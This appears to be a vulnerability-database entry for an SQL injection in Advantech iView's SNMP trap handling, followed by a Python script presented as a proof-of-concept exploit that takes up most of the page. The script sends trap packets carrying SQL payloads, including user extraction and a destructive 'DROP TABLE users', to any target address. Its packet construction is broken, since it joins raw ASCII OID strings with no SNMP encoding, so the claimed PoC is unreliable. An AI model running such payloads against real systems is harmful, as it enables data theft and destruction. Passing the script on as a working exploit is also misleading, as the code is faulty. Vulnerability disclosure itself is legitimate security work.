Advantech iView versions 5.7.05.7057 and prior do not properly sanitize SNMP v1 trap (Port 162) requests, which could allow an attacker to inject SQL commands.
CVSS Details
CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Configurations (Affected Products)
No configuration data available.
Advantech iView < 5.7.05.7058
Advantech iView <= 5.7.05.7057
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# CVE-2025-13373 PoC - Advantech iView SNMP Trap SQL Injection
# Target: Advantech iView < 5.7.05.7058
# Note: This PoC is for educational and authorized testing purposes only
import socket
import struct
from datetime import datetime
def create_snmp_trap_sql_injection(target_ip, target_port=162, sql_payload="' OR '1'='1"):
"""Generate malicious SNMPv1 Trap packet with SQL injection payload"""
# SNMP Trap PDU structure
community = b"public"
enterprise_oid = b"1.3.6.1.4.1.XXXXX" # Generic enterprise OID
specific_trap = 6 # Enterprise-specific trap
# Construct the malicious payload in the trap variable bindings
# The SQL injection payload is inserted into the variable bindings
var_bind_oid = b"1.3.6.1.2.1.1.1.0" # sysDescr
var_bind_value = sql_payload.encode()
# Build SNMP Trap packet
packet = b'\x30' # SEQUENCE
# Community string
community_pdu = community
# PDU type: Trap
pdu_type = b'\xa4'
# Enterprise OID
enterprise_pdu = enterprise_oid
# Agent IP (generic)
agent_ip = b"\x00\x00\x00\x00"
# Generic trap + Specific trap
generic_trap = b'\x00'
specific_trap_bytes = struct.pack('!B', specific_trap)
# Timestamp
timestamp = struct.pack('!I', 1000)
# Variable bindings with SQL injection
var_bind_pdu = var_bind_oid + var_bind_value
# Construct complete packet
trap_pdu = enterprise_pdu + agent_ip + generic_trap + specific_trap_bytes + timestamp + var_bind_pdu
snmp_packet = community_pdu + pdu_type + trap_pdu
return snmp_packet
def exploit(target_ip, target_port=162):
"""Send malicious SNMP trap to trigger SQL injection"""
# SQL injection payloads for testing
payloads = [
"' UNION SELECT NULL--", # Basic SQL injection test
"'; SELECT * FROM users;--", # Attempt to extract users
"'; DROP TABLE users;--", # Destructive payload
]
print(f"[*] Target: {target_ip}:{target_port}")
print(f"[*] Exploiting CVE-2025-13373...")
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
for payload in payloads:
print(f"[*] Sending payload: {payload[:30]}...")
packet = create_snmp_trap_sql_injection(target_ip, target_port, payload)
try:
sock.sendto(packet, (target_ip, target_port))
print(f"[+] Packet sent successfully")
except Exception as e:
print(f"[-] Error: {e}")
sock.close()
print("[*] Exploitation completed")
if __name__ == "__main__":
import sys
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_ip>")
sys.exit(1)
exploit(sys.argv[1])